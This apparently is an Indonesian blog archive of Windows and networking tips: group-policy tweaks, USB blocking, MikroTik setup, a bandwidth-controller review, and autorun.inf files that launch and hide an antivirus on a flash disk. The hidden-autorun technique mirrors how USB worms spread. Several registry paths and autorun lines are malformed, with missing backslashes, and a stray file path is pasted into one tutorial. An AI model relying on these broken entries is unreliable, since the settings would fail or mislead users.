Jumat, 25 Maret 2011

Menyembunyikan all program dari menu start

Program atau aplikasi yang telah diinstall dalam computer biasanya akan masuk dalam daftar all program pada start menu. Sehingga untuk membuka suatu program atau aplikasi juga melalui all program pada start menu. Walaupun ada cara cepat untuk membuka suatu aplikasi atau program dengan cara membuat shortcut key yang bisa dibuat melalui properties dari masing-masing program tersebut. Cara cepat yang lain untuk membuka program atau aplikasi adalah dengan membuka program melalui icon di desktop maupun icon program di quick launch pada taskbar.

Jika sahabat tidak ingin menggunakan all program pada start menu, atau ingin mencegah orang lain membuka all program, maka all program di start menu ini bisa disembunyikan. Untuk menyembunyikan atau menghilangkan all program pada start menu dapat diikuti langkah-langkah berikut ini :
  1. Buka program group policy dengan cara dari start > run > ketik gpedit.msc > tekan enter
  2. Setelah muncul jendela group policy, pada user configuration klik administrative templates
  3. Klik ganda Start Menu and Taskbar
  4. Pada panel sebelah kanan scroll kebawah, kemudian klik ganda pada Remove All Programs List from Start Menu
  5. Pada jendela yang muncul, pilih enable kemudian klik OK
  6. Tutup jendela group policy
  7. Log off atau restart computer
Sekarang setelah membuka start menu, maka all program sudah tidak muncul lagi. Jika sebelumnya menu all program di computer tidak muncul atau tidak kelihatan, maka untuk memunculkan all program yang hilang bisa dilakukan dengan mengatur remove all programs list from start menu menjadi Not Configured atau disable.

Cara agar flashdisk tidak dapat diakses oleh komputer

USB removable media atau yang sering diartikan flashdisk merupakan sarana berbagi file dan media penyimpanan file yang praktis dan murah. Harga yang relative terjangkau dan bentuknya yang relative kecil, kini hampir setiap orang telah memiliki flashdisk. Disisi lain karena banyaknya pengguna flashdisk, maka flashdisk adalah merupakan salah satu media penyebaran virus komputer yang cukup ampuh. Selain itu flashdisk juga bisa menjadi sarana atau media untuk mengambil atau mencuri file-file penting yang ada pada sebuah komputer. Sehingga kadang bagi sebagian user, penggunaan flashdisk di komputer ini malah dinonaktifkan. Maksudnya, setiap kali flashdisk dicolokkan ke komputer, maka komputer tidak bisa mengkases flashdisk tersebut, bahkan hanya untuk kegiatan membuka data. Ada lagi sebagian user yang mengatur komputernya hanya bisa membaca dokumen yang ada diflashdisk saja sedangkan untuk menyimpan atau copy paste file ke flashdisk tidak bisa atau ditolak. Hal ini ditujukan untuk keamanan data di komputer agar tidak bisa diambil oleh orang lain dengan menggunakan flashdisk (USB removable media).

Untuk mengatur agar flashdisk tidak bisa dibuka di komputer pada windows 7, dapat dilakukan dengan menggunakan trik sederhana dibawah ini :
  1. Tekan tombol Ctrl + R untuk membuka menu Run
  2. Ketik gpedit.msc dan tekan enter untuk masuk ke jendela group policy
  3. Masuk ke User configuration > administrative templates > System > Removable Storage Access
  4. Pada panel sebelah kanan klik ganda pada Removable Disks : Deny read access
  5. Ubah menjadi enable kemudian klik OK
  6. Tutup jendela group policy kemudian restart atau log off komputer.
Sekarang jika shobat mau membuka atau mengakses flashdisk, maka akan muncul pesan ….. yang pada akhirnya tidak bisa mengakses flashdisk.



Untuk mengatur agar flashdisk hanya bisa dibuka dan membaca file saja pada windows 7, tetapi tidak bisa melakukan copy paste atau menyimpan data, dapat dilakukan dengan menggunakan trik dibawah ini.
  1. Tekan tombol Ctrl + R untuk membuka menu Run
  2. Ketik gpedit.msc dan tekan enter untuk masuk ke jendela group policy
  3. Masuk ke User configuration > administrative templates > System > Removable Storage Access
  4. Pada panel sebelah kanan klik ganda pada Removable Disks : Deny write access
  5. Ubah menjadi enable kemudian klik OK
  6. Tutup jendela group policy kemudian restart atau log off komputer.


Sekarang jika mau copy paste file ke flashdisk atau menyimpan file ke flashdisk tidak bisa akan tidak bisa lagi.

Cara lain yang tak kalah mudahnya (Bagi pengguna windows xp) bisa dicoba dengan menggunakan sebuah software, yaitu usb write protect. Yaitu software yang mengatur akses flashdisk ke komputer, antara bisa diakses atau tidak. Jika shobat berkeinginan untuk mencoba bisa didownload pada link berikut ini :



Download software flasdisk write protect

Related search :
cara mencegah komputer mengakses flashdisk, mencegah copy paste data dari komputer ke flashdisk, flashdisk tidak bisa menyimpan file, flashdisk tidak bisa dibuka dikomputer, mencega pencurian data melalui flashdisk, flashdisk tidak bisa diakses oleh komputer, flashdisk terdeteksi tetapi tidak bisa dibuka, download software memproteksi komputer dari flashdisk, software flashdisk.

Mengaktifkan folder options yang disable atau hilang

Folder options pada windows explorer berada pada menu tools pada windows xp. Folder options ini berfungsi untuk melakukan pengaturan klik items ( klik ganda atau klik tunggal untuk membuka suatu file), Browse folder, pengaturan file dan folder termasuk show atau hidden files, pengaturan file types dan lain-lain. Namun karena virus, folder options pada menu tools ini bisa tidak muncul atau disable, sehingga user tidak bisa melakukan pengaturan-pengaturan mengenai file dan folder dan lain sebagainya.


Untuk memunculkan atau mengaktifkan folder options yang hilang ini dapat dilakukan dengan sedikit pengaturan pada windows registry editor.

Buka jendela registry editor kemudian masuk ke :
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Policies\Explorer
Pada masing-masing key diatas di panel sebelah kanan hapus DWord dengan nama NoFolderOptions.
Logoff atau restart komputer

Jika Registry editor juga tidak dapat dibuka, aktifkan dahulu registry editor dengan cara enable registry editor disini

Kamis, 24 Maret 2011

Cara Instalasi Mikrotik Server

Langkah awal untuk menginstall router ini adalah dengan tersenyum, bercanda dulu dengan rekan-rekan, berguyon ria sampe ketawa keras hingga akhirnya teriak dengan kencang sebanyak 100 kali “INI SANGAT MUDAHHHHHHHHHH” hehehehe
Setelah berbagai keruwetan pada wireless, kini tiba saatnya kita meng utak atik servernya, disisi jaylangkung.com menggunakan mikrotik untuk manajemen bandwidth serta routernya.
Disini akan di bahas manajemen bandwidth dari speedy, jadi dari modem ADSL turun kabel RJ45 kmudian masuk ke LAN CARD komputer yang telah di install mikrotik
Alasannya karena sangat mudah di gunakan, dan spek komputer yang di butuh kan juga bersahabat.
Ok langsung saja proses instalasinya.
Pertama kali yang harus di siapkan adalah komputer server minimal dengan spesifikasi :
prosesor PII
Memory 128
NIC (LANCARD) 2 buah
Hardisk minimal 1giga
CDroom
  1. Mulailah mendownload mikrotiknya, download ISO nya disini : http://www.mikrotik.co.id/getfile.php?nf=mikrotik-3.4.iso
  2. Kemudian bakar di CD, burning Image
  3. Setelah itu, masukkan cd yang tadi telah terisi mikrotik kedalam komputer server kemudian hidupin komputer tersebut.
  4. Tunggu hingga pada komputer muncul seperti dibawah ini :
  5. Photobucket
  6. 5.Setelah itu tekan tombol ‘a’ (tanpa petik) untuk meng-install semua fasilitas yang terdapat pada mikrotik
    6.Biarkan saja porses berjalan, karena instalasi sedang berlangsung, mulai dari formating disk hingga proses selesai instalasi, jika muncul tampilan seperti di bawah ini maka instalasi telah selesai.
  7. 7.Setelah proses selesai, download lah tool bawaan mikrotik, (winbox) bisa di download disini :
  8. http://www.mikrotik.co.id/getfile.php?nf=winbox-2.2.11.exe
  9. Setelah itu tancapkan kabel dari modem ADSL ke lancard satu pada komputer yang telah di install mikrotik
  10. Kemudian LanCard kedua ke sebuah HUB / swicth untuk jaringan lokal.
  11. Instalasi telah selesai dilakukan, sekarang remote komputer server yang telah di instalasi di atas dengan winbox yang telah kita download, dengan menggunakan komputer lain
  12. 11. Pilih router yang tadi kita install, default identity nya mikrotik, username admin, password kosong
  13. Pilih menu Interface, jika telah berjalan dengan benar, maka akan muncul 2 buah interface lancard.
  14. Double Klik pada salah interface yang merujuk ke lokal dan beri nama Lokal
  15. .Dengan cara yang sama, Interface yang merujuk ke modem beri nama Publik
  16. Setelah itu, pilih menu IP address
  17. Muncul Tampilan seperti i bawah ini, kemudian tekan tombol plus + di pojok kiri nya
  18. Tambahkan Ip addressnya, misal
    IP modem Speedy 192.168.1.1, maka IP pada mikrotik : 192.168.1.2/24 dan berinama
  19. kemudian tekan tombol plus + di pojok kiri nya, kmudian tambahkan IP address nya Lancard Satunya lagi : misalnya Ip pada lokal 10.10.10.1, maka masukkan IP address 10.10.10.1/27, angka /27 untuk 30 host IP, anda bisa mempelajarinya lebih lanjut tentang konsep subnetting disini : Konsep dasar IP address : http://www.forummikrotik.com/beginner-installation/153-konsep-dasar-ip-address.html Konsep Subneting : http://www.forummikrotik.com/beginner-installation/155-konsep-subnetting-siapa-takut.html
  20. setelah itu pilih IP dan kemudian pilih sub Menu Routes
  21. Kmudian masukkan IP gateway nya, dengan cara menekan tombol plus + di pojok kiri nya yaitu IP dari Modem 192.168.1.1, kmudian tekan tombol OK
  22. Setelah semua langkah di atas selesai, langkah selanjutnya adalah mengisi DNS dengan cara pilih menu IP > DNS
  23. Pilih Setting dan masukkan IP dns, dengan primary DNS 202.134.1.10 (default speedy) yang kedua secondary DNS 202.134.0.155 (DNS speedy)
  24. Setelah selesai tahap akhir yang anda harus lakukan, yaitu membuat rule untuk bisa di pergunakan secara lokal. Tahap ini sangat penting, dimana komunikasi lancard 1 dengan lancard 2 diletakkan disini. Inti dari setting diatas ada pada tahap ini, maka jangan sampe kliru.
  25. Pilih IP > Firewall > NAT > General
  26. Chain = srcnat, Out interface = Publik (interface tadi yang telah kita beri nama publik) kmudian pilih action = masquerade kemudian tekan tombol OK untuk mengakhirinya
  27. Lakukan restart pada router dengan cara menekan New Terminal , kmudian menggetikkan script system reboot, dan tekan Y
  28. 26.Setelah selesai restart lakukan pengecekan dangan cara ping, masuk pada New terminal ping pada gateway 192.168.1.1, ping pada DNS 202.134.1.10, kalo terjadi replay brarti router udah OK [admin@rt/rw] > ping 202.134.1.10 202.134.1.10 64 byte ping: ttl=60 time=60 ms 202.134.1.10 64 byte ping: ttl=60 time=62 ms 202.134.1.10 64 byte ping: ttl=60 time=80 ms 202.134.1.10 64 byte ping: ttl=60 time=77 ms 202.134.1.10 64 byte ping: ttl=60 time=77 ms 8 packets transmitted, 8 packets received, 0% packet loss round-trip min/avg/max = 60/73.5/80 ms [admin@rt/rw_2] >
  29. Jika terjadi Riquest Time Out, brarti anda tinjau ulang pada router anda atau pada lancard anda, atau pada modem anda, atau pada koneksi anda dengan speedy
    28.Sekarang instalasi bisa di katakan telah selesai, tinggal meneruskan IP ke semua client dimulai dari 10.10.10.2 dan seterusnya hingga 10.10.10.30 karena subnet yang kita buat tadi 30 host

Senin, 14 Maret 2011

Bandwidth Controller - Mengatur trafik data didalam jaringan

Bandwidth Controller adalah sebuah software untuk mengatur bandwidth computer data atau traffic baik internet maupun data network.Bandwidth Controller bisa dikatakan sebagai software pembatas bagi computer lain atau memberikan prioritas bagi computer lain agar bisa mengaccess data internet maupun data lokal
  • Mengatur download dan upload computer lain untuk data trafik.
  • Prioritas bagi computer atau beberapa computer untuk mengaccess data pada jaringan network maupun internet.
  • Memblock atau memfilter packet baik keluar dan masuk pada sebuah computer atau group didalam LAN baik mengkontrol dari lapis network 3 dan 7.
  • Pengaktifkan batas dan prioritas bagi computer lain termasuk pengaktifkan dengan waktu tertentu.

Bandwidth Controller bertujuan untuk mengatur bandwidth dari computer lain. Penempatan software Bandwidth Controller ditempatkan pada sebuah computer yang dijadikan jalur keluar misalnya mengaccess data internet. Sebagai contoh, bila sebuah warnet, kantor atau jaringan computer tetangga mengunakan sebuah computer yang dijadikan sebagai Gateway / computer sharing / computer server. Computer server tersebut berfungsi untuk mendistribusikan data keluar masuknya dari dan ke computer lainnya. Sehingga seluruh computer dapat mengaccess data bersama sama seperti sharing koneksi internet.
Mengunakan sebuah computer server, misalnya mengunakan OS Windows XP tidak bisa memberi batasan berapa banyak trafik yang diberikan untuk masing masing computer. Karena computer server beranggapan bahwa setiap computer memiliki hak hak yang sama untuk mengacces data, seperti koneksi internet. Computer server hanya dapat mengatur seperti memblock port misalnya semua user tidak diijinkan membuka website, atau tidak bisa mengirim email. Disini kelemahan dari sistem computer server , karena fungsinya sebagai pintu gerbang atau jalur keluar masuk saja sehingga tidak memiliki fungsi sebagai pembatas trafik data agar membagi bandwidth ke masing masing computer.
Bisa dibayangkan didalam sebuah jaringan LAN terdapat 10 computer yang terhubung ke computer server untuk mengaccess data internet. Bila 1 saja computer mengunakan program download manager atau program P2P, misalnya Bittorrent, Flashget atau Download Accelereator maka dipastikan kecepatan koneksi internet pada computer lain menjadi lambat. Hal tersebut terjadi karena kecepatan beberapa program seperti download manager mampu mengambil data trafik besar sehingga akan menganggu atau memperlambat koneksi computer lainnya.
Bandwidth Controller dapat melakukan pembatasan atau membagi kecepatan trafik didalam jaringan . Bahkan software ini dapat membatasi kecepatan maksimum bagi computer lain yang dianggap terlalu banyak mengunakan data trafik. Bandwidth Controller juga memiliki beberapa fitur sangat baik sehubungan dengan kebutuhan traffic didalam sebuah jaringan network.
Dibawah ini beberapa kemampuan dari Bandwidth Controller :
  • Membatasi beberapa computer atau group dengan limit atau batas tertentu mengunakan trafik data ke server.
  • Membatasi atau membagi kecepatan trafik data seperti pembagian maksimum atau minimum dari pemakaian bandwidth
  • Penguncian dengan batas tertentu, misalnya seorang karyawan terlalu banyak access internet maka dapat dibatasi setelah kapasitas tertentu akan diturunkan kecepatannya.
  • Pengaturan dalam waktu, misalnya setelah jam 9 pagi dimana pemakai internet didalam kantor mulai aktif, maka software dapat membatasi kecepatan maksimum untuk mendownload diseluruh computer.
  • Memberikan prioritas dari sebuah protokol seperti memberikan prioritas access pemakai protokol VOIP.
  • Dan fitur terbaik adalah dapat menampilkan daftar computer yang mana yang terlalu banyak mengunakan bandwidth, sehingga dapat seorang Admin dapat terus memantau kegiatan / aktifitas computer lain didalam jaringan LAN.
  • Bahkan Bandwidth Controller menampilkan kemanakah sebuah computer sedang mengaccess data dengan menampilkan koneksi dari nomor IP server didalam daftar list bandwidth Controller.

Sedalam apakah kemampuan dari Bandwidth Controller

Susunan protokol dari koneksi antar computer memiliki beberapa lapis atau disebut layer. Bandwidth Controller mampu membatasi pada 2 sistem layer protocol yaitu layer 3 dan layer 7. Untuk layer 3 yang berisikan protokol IP, TCP, UDP, ICMP, IPSec AH, IPSec ESP dapat diberlakukan untuk dibatasi oleh Bandwidth Controller.
Layer lain yang dapat diatur adalah protokol layer 7 seperti nomor port HTTP, FTP, IMAP, Gnutella, MSN Messenger, Streaming Video, Shockwave Flash, HTTP download, MP3. Pemakai Bandwidth Controller dapat memberikan batas batas tertentu bagi computer lain untuk mengunakan trafik.
Lalu bagaimana bila seorang pemakai didalam jaringan cukup pintar untuk menganti atau berpindah pindah nomor IP computernya agar dapat lepas dari kontrol software Bandwidth Controller.
Pemakai computer didalam sebuah jaringan bisa saja menganti IP yang sifatnya dinamis. Tetapi Bandwidth Controller mampu memblock nomor fisik sebuah network yang disebut sebagai Mac address. Bandwidth Controller dapat mencatat nomor Mac address dari sebuah computer, dan tetap melakukan blocking atau membatasi trafik agar tidak terlalu berlebihan melakukan download atau upload. Sehingga seorang pemakai computer dapat terus dipantau oleh Bandwidth Controller walaupun sudah berganti IP, karena Mac address tidak bisa diganti dan tetap tercatat oleh software kecuali si pemakai computer menganti dengan NIC atau LAN card baru. Dibawah ini salah satu fitur untuk mengaktifkan Mac Address dari sebuah computer


Bagaimana cara kerja dari Bandwidth Controller. Software Bandwidth Controller dipasang atau diinstall pada sebuah computer yang memiliki access data keluar jaringan. Misalnya computer sebagai server / Gateway atau router yang mengunakan 2 ehternet card dimana 1 card untuk koneksi internal LAN terhubung ke HUB network, dan sebuah lagi terhubung ke jaringan internet. Sehingga seluruh koneksi computer ke computer server tersebut dapat diatur oleh Bandwidth Controller. Karena seluruh jalan keluar masuk harus melalui server maka Bandwidth Controller dapat memantau computer lain seperti melihat kemana saja computer tersebut terhubung, berapa banyak koneksi yang dilakukan atau berapa besar bandwidth yang digunakan oleh masing masing computer.
Dibawah ini sebagai contoh untuk memblock sebuah computer dengan option Filter. Pemakai Bandwidth Controller cukup memasukan nomor IP computer lain dan memasukan daftar pada software Bandwidth Controller. Sebagai contoh, misalnya memberikan kapasitas trafik bagi sebuah computer dengan maksimum untuk mendownload sampai 10 dan 20KB/s saja.
Dibawah ini adalah gambar trafik dari sebuah computer yang telah di filter dengan maksimum trafik yang diberikan. Ketika pertama koneksi diberikan maksimum 10KB/s untuk aktifitas mendownload dan trafik pada computer tersebut langsung turun karena Bandwidth Controller hanya membatasi download sekitar 10KB/s. Diagram bagian kedua, dimana Bandwidth Controller membuka kembali bandwidth sehingga computer computer tersebut kembali naik dengan kecepatan maksimum trafik. Lalu diaktifkan untuk pembatasan kecepatan download hanya 20KB/s sehingga tampilan grafik kembali menurun dan kembali dilepas untuk mengunakan seluruh trafik data pada server.
Bandwidth Controller secara mudah mengatur berapa kecepatan maksimum dari sebuah computer untuk mendownload atau upload secara realtime di setiap computer atau group computer. Baik sebuah computer atau group dapat dibatasi kecepatan mendownload atau upload melalui computer server.
Bandwidth Controller tidak memerlukan software tertentu pada computer client dan cukup dipasangkan pada computer server saja. Karena Bandwidth Controller mengatur dan menangkap semua packet data yang melewati ethernet card. Dengan cara demikian, maka seorang staff IT bisa saja mengurangi kecepatan internet dari dari satu buah computer tanpa campur tangan ke sipemiliknya. Cara ini akan bermanfaat bila didalam sebuah jaringan network terdapat seorang staf yang terlalu sibuk mendownload dan mengambil trafik data internet sehingga menganggu pekerja lain yang membutuhkan.

Result

Bandwidth Controller adalah sebuah software untuk mengatur pemakaian bandwidth computer lain. Software Bandwidth Controller ditempatkan pada sebuah computer sebagai data keluar masuk atau computer server / router. Dengan Bandwidth Controller pekerjaan Admin lebih mudah untuk mengatur dan menjaga trafik dari masing masing computer. Dengan Bandwidth Controller akan sangat mudah mengetahui computer siapa saja yang terlalu banyak mengunakan bandwidth. Karena Bandwidth Controller memberikan daftar dari masing masing trafik computer. Dan seluruh computer yang terkoneksi akan menampilkan nomor IP serta angka bandwidth yang sedang digunakan, sehingga admin dapat dengan mudah melakukan block atau filter bagi computer tertentu untuk mengurangi kecepatan trafiknya ke computer server.
Walaupun Bandwidth Controller dibuat dengan tampilan sederhana, tetapi fitur yang ada sudah cukup lengkap. Dengan Bandwidth Controller maka seorang Admin dapat menjaga jaringan network agar dapat digunakan oleh semua pemakai. Dan dapat membagi secara merata atau memberikan prioritas trafik untuk bagian tertentu.

Cara Mudah Membuat CD Autorun


Jika anda ingin membuat CD yang dapat secara otomatis menjalankan suatu aplikasi saat di masukan ke dalam CD ROM, berarti yang anda inginkan adalah CD Autorun. Aplikasi yang dijalankan pada proses autorun biasanya berupa aplikasi animasi flash, yang berisi tentang presentasi suatu produk, company profile, tutorial, dll.
Untuk dapat membuat  CD autorun bukanlah hal yang sulit, yang anda butuhkan hanyalah Notepad atau text editor lainnya, dan aplikasi yang ingin anda jalankan pada CD autorun nantinya. Buka Notepad kemudian ketikkan baris teks seperti berikut:
[autorun]
icon=nama_icon.ico
open=nama_aplikasi.exe
kemudian simpan dengan nama autorun.inf, jangan lupa untuk memilih All files pada bagian [Save as type:] pada saat menyimpan.
Dalam hal ini icon akan digunakan sebagai icon pada drive CD ROM, saat nantinya CD Autorun dibuka di Windows Explorer. Letakkan autorun.inf, nama_icon.ico, nama_aplikasi.exe pada CD dengan membakarnya menggunakan aplikasi CD writer (misalkan Nero Burning ROM). Pastikan ketiga file tersebut berada dalam satu lokasi, dan tidak berada dalam suatu folder tertentu.
Setelah CD autorun selesai dibuat, silahkan coba hasil karya anda, masukan CD autorun kedalam CD ROM, tunggu beberapa saat, maka aplikasi yang telah ditentukan sebagai aplikasi autorun akan dijalankan, mudah kan? Selamat mencoba. (wp)

Buat File Autorun untuk Cdmu

Jika kamu ingin membuat softwaremu berjalan (execute) sendiri tanpa harus meng-klik softwaremu yang ada di CD seperti CD instalasi Windows yang programnya berjalan sendiri setelah CD dimasukan ke CD-Rom.
Baiklah, ikuti langkah-langkah berikut ini:

1. Buka Notepad (start --> All Program --> Accessories --> Notepad)

2. Sekaran ketik script berikut pada notepad
[autorun]
OPEN=INSTALL\Setup_filename.EXE
ICON=INSTALL\Setup_filename.EXE

3. Klik File --> Save. Pilih tempat yang kamu suka

4. Pada bagian File name, ketikan Autorun.inf

5. Pada bagian Save as type, pilih All Files

6. Burning file autorun beserta software yang kamu ingikan di luar semua folder.

Keterangan: Ingat! “Setup_filename.EXE” harus diganti dengan nama software yang kamu inginkan. Script diatas tidak hanya untuk software, tetapi juga bisa diguankan untuk semua file. Contoh: saya ingin membuat file presentasi saya berjalan ketika CD saya dimasukan di CD-Rom dan scriptnya adalah seperti dibawah ini:
[autorun]
OPEN=Nama_File_Presentasi.ppt
ICON= Nama_File_Presentasi.ppt

Atau:

[autorun]
OPEN=Nama_File_Presentasi.ppt

Minggu, 13 Maret 2011

Tips Memperbaiki Bad Sector Menggunakan HDD Regenerator

Regenerator

Hdd regenerator logoSobat blogger pernah mengalami masalah bad sector pada hardisk kesayangan anda?? Sungguh pusing memang rasanya, akhir-akhir ini saya baru saja mengalaminya, bad sector menyerang hardisk eksternal yang bisa dikatakan sebagai database remo-xp, karena semua software saya simpan di sana. Tentu di balik semua itu pasti ada hikmah nya. Nah, berdasarkan pengalaman yang saya dapat, pada kesempatan kali ini saya akan mencoba berbagi tips seputar bad sector dan bagaimana cara memperbaiki hardisk yang terdapat bad sector nya.

Kenapa bad sector bisa terjadi?? Pasti pertanyaan seperti itu yang ada di dalam benak sobat blogger. Ada banyak kemungkinan yang bisa menyebabkan terjadinya bad sector, di antara nya :
  1. Mematikan komputer tidak melalui shut down
  2. Pasokan daya yang kurang stabil
  3. Sering Mati lampu
  4. Ketika melepas
  5. DLL
Terus ciri-ciri kalau hardisk kita terdapat bad sector seperti apa??
  • PC Sering Hang, untuk buka folder aja lama
  • HDD mengeluarkan suara yang cukup berisik
  • Data tiba-tiba hilang (folder is empty)
Ciri-ciri di atas merupakan yang saya alami, bila sobat blogger mempunyai ciri-ciri yang lainnya, mohon sharing nya yah,, hehe

Nah, bagian ini merupakan bagian yang di tunggu-tunggu, hayo apa??? Yups, sobat blogger bener sekali, "Tips Memperbaiki Bad Sector". Sebenernya ada banyak cara untuk memperbaiki bad sector, seperti pepatah banyak jalan menuju roma. Heheh
Salah satunya ialah menggunakan software HDD Regenerator yang sudah pernah saya share beberapa waktu yang lalu.

Buka HDD Regenerator
Klik Opsi yang paling atas, seperti gambar di bawah ini.
hdd regenerator
Pilih hardisk mana yang akan sobat blogger fix bad sector nya
Ikuti instruksi yang ada. (Mudah kok,, )
bad sector
Silahkan menunggu, dan Selesai.


Semoga artikel ini dapat membantu sobat blogger dalam mengatasi bad sector. Ingat bad sector bukanlah persoalan yang harus di takuti, tetapi harus di hadapi. Hhahaha,,

Jumat, 11 Maret 2011

cara mudah membuat antivirus di flash disk



Pasti anda jengkel dengan Virus yang otomatis menginfeksi Flash Disk Anda saat Anda colokkan USB Flash Disk Anda ke komputer yang terinfeksi virus?
Bagaimana tidak, kita akali saja dengan Membuat Anti Virus AutoRun dari USB Flash Disk?
Seringkali Virus akan membuat file autorun.inf yang ber-attribute file hidden dan system (atau bisa juga termasuk file virus trojan - server)
file autorun.inf inilah command atau pemicu tereksekusinya file induk dan library virus/trojan yang sudah bersarang di komputer lokal tempat anda mencolokkan Flash Disk, berikut cara mudah membuat antivirus di flash disk:
Pertama-tama buatlah AUTORUN untuk menjalangkan antivirus pada flashdisk, caranya copy
antivirus yg berukurang kecil ke flashdisk anda contonya SMADAV,ANSAV….dll (contoh kali ini saya menggunakan SMADAV karena ukurangnya kecil sekitar 3 MB). Sekarang kita membuat script / kode di notepad
============potong disini============
[AUTORUN]
open=nama antivirus.exe
shellexecute=nama antivirus.exe
shell\Scan Virus dulu coy:-)_!!!\command=nama antivirus.exe
shell=Scan Virus dulu coy:-)_!!!
============potong disini============
Kemuadian save dengan nama “autorun.inf” di flashdisk anda (tidak memakai tanda kutip) sekarang anda copy saja antivirusnya ke flashdisk. Kalau anda ingin scan antivirusnya tinggal di double klik saja pada drive flashdisk dan kalau anda ingin membuka flashdisk, klik kanan dan pilih open Diatas kata auto play anda juga dapat menambahkan kata-kata perintah yang berisi mengaktifkan antivirus di flashdisk anda dengan format di notepad:
———————————
- shell\kata anda\command=(nama antivirus.exe)
- shell=(kata anda)
———————————
Untuk menghilangkan file AUTORUN di flashdisk , kita harus klik kanan dan pilih properties kemudian klik hidden. Atau dengan cara:
- buka RUN dari start menu
- terus ketik cmd
- Kemudian kita masuk kedalam drive fdnya (biasanya di drive f:)
- Setelah kita tulis commandnya.
f:\>attrib +h +s nama antivirusnya.exe (buat sembunyiin antivirusnya)
f:\>attrib +h +s autorun.inf (buat hidden file autorunnya)
Catatan :
jangan di simpan di dalam folder tapi kalu akan di simpan didalam folder ini scripnya
contoh nama foldernya :Smadav
lalu nama anti virusnya : SMARTP.exe
——————————————————-
[AUTORUN]
open=Smadav/SMARTP.exe
shellexecute=Smadav/SMARTP.exe
shell\Scan Virus dulu coy:-)_!!!\command=Smadav/SMARTP.exe
shell=Scan Virus dulu coy:-)_!!!
——————————————————–
lalu save dengan nama autorun.inf
tambahan kalau akan mengganti icon flashdisknya anda ini caranya
contoh nama icon : icone.ico
——————————————————–
[AUTORUN]
open=Smadav/SMARTP.exe
shellexecute=Smadav/SMARTP.exe
shell\Scan Virus dulu coy:-)_!!!\command=Smadav/SMARTP.exe
shell=Scan Virus dulu coy:-)_!!!
icon=icone.ico
——————————————————–
kembali save dengan nama autorun.inf
Selesai... beginilah cara mudah membuat antivirus di flash disk

cara bikin antivirus di flashdisk

Mungkin temen-temen semua dah pada tau cara bikin AUTORUN pada flashdisk..nah disini kita
akan memanfaatkan cara ntuk membuat autorun tersebut ntuk mengaktif’in anti virus yang
nantinya akan kita copy pada flashdisk kita..

Alat & bahan :
————–
software AV yang berukuran kecil (banyak di internet,,goggling aj..)
contoh: PCMAV,ANSAV,SMADAV dll..(tapi Aibi lebih sering pake PCMAV..abiz ukurannya
kecil banget n’familiar buat semua orang…)

Langkah-langkah:
—————-
1.ketik di notepad mantera berikut:

[AutoRun]
open=namaantivirus.exe
shellexecute=namaantivirus.exe
shellScan Dulu Virusnya!!!command=namaantivirus.exe
shell=Scan Dulu Virusnya!!!

2.trus save dengan nama “autorun.inf”(gak pake tanda kutip) di flashdisk kita
sekarang tinggal kita copy aja antivirus yang mau kita masukin ke flashdisk..!!!
(NB:kalo ngopy file autorun n’ antivirusnya jangan di dalam folder)

Dah jadi deh…^_^!!
kalo mau scan virus tinggal double click aja tuh drive flashdisk kita!!
kalo kita klik kanan drive flashdisknya bakalan ada tambahan kata di atas kata
AUTOPLAY.
Scan Dulu Virusnya!!!

kalo mau di ubah ya kita tinggal ganti aja kata-kata yang ada di dalam script…!

shellkata-kata_andacommand=namaantivirus.exe
shell=kata-kata_anda

3.trus gimana cara buka flashdisknya nih???
gak mungkin lah gak pada tau…tinggal klik kanan aja trus cari open…!
ngak bagus ya kalo di dalam flashdisk kita ada keliatan nama file AUTORUN n’antivirusnya…
ngerusak pemandangan gitu loh….

kalo gitu tinggal kita ubah aja attributnya jadi super hidden…
caranya…??? /media/TDY296/TIPS N TRIK/install printer di Ubuntu.txt
buka RUN dari start menu
terus ketik cmd
masuk ke dalam drive flashdisk (biasanya drive f
udah gitu ya kita tulis commandnya

f:>attrib +h +s namaantivirus.exe (buat hidden antivirusnya)
f:>attrib +h +s autorun.inf (buat hidden file autorun)

Mencegah Virus dari FlaskDisk

Seperti kebanyakan sekarang ini, banyak virus yang menyebar melalui flashdisk, hal tersebut disebabkan karena flashdisk sangat sering berinteraksi lebih dari 1 atau 2 komputer untuk memindahkan data.
Dengan penggunaan flashdisk tersebut, virus semakin mudah menular dan semakin mudah untuk mengembangkan dirinya sendiri tanpa sepengetahuan kita.
Untuk mengatasi masalah diatas sebenarnya ada 2 tips.
Tips yang pertama adalah sering-seringlah update antivirus, dan jangan menggunakan lebih dari 1 antivirus dalam satu komputer, karena akan menyebabkan antivirus seperti berebut menangkap virus, dan akhirnya akan ada salah satu antivirus anda yang rusak.
Tips kedua, ikuti langkah dibawah ini :
h-langkahnya :
1. Buka Registry Editor, dengan cara klik Start Menu > Run dan ketik regedit dan klik OK
2. Cari Lokasi : KEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
3. Buat key baru ( Klik kanan > New > DWORD Value ) beri nama : NoDriveAutoRun
4. Double klik untuk mengisi nilai ( data ). Pilih Base : Decimal dan isikan Value data dengan nilai 67108863
5. Jika diperlukan, dapat juga menambahkan nilai yang sama di
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
6. Restart Komputer
Dengan langkah diatas, setidaknya kita bisa meminimalkan virus yang akan masuk ke komputer kita, yang menular melalui flashdisk yang anda hubungkan pada komputer anda.
Selamat mencoba.

Install Windows Xp Dari Flashdisk Solusi Install windows tanpa CD-Rom


Kemaren siang sampai sore saya habiskan untuk menginstall windows disalah satu komputer client warnet yah error , gak tau kenapa gak bisa diperbaiki lagi sehingga harus di install ulang. Masalahnya komputer tersebut tidak memiliki cd-rom , solusinya banyak sih untuk nginstall windows dengan kondisi komputer seperti ini, pasang cd rom atau bisa di coba install windows melalui usb flash disk dan yang tidak di anjurkan di bawa ke toko komputer buat di installin orang hehe ( mending sendiri ) .
Penginstallan windows xp dari flash disk ini juga sangat berguna untuk menginstall windows xp di beberapa notebook yang memang tidak dilengkapi dengan cd-rom seperti seri mini notebook semacam Asus Eee pc. Memang bisa diakalin dengan menginstall menggunakan external cd-rom, tapi untuk lebih menghemat kita bisa mencoba menginstall windows dengan hanya menggunakan flash disk ( harga 60 rebu juga dapat 1 biji ).
Dengan perkembangan teknologi flash disk sekarang yang memiliki kapasitas semakin besar maka kita dengan mudah bisa menggunakan flash disk untuk menginstall windows , berikut syarat2 yang harus di persiapkan .

1. Flash disk apa aja ( kalau bisa minimal 1GB ).
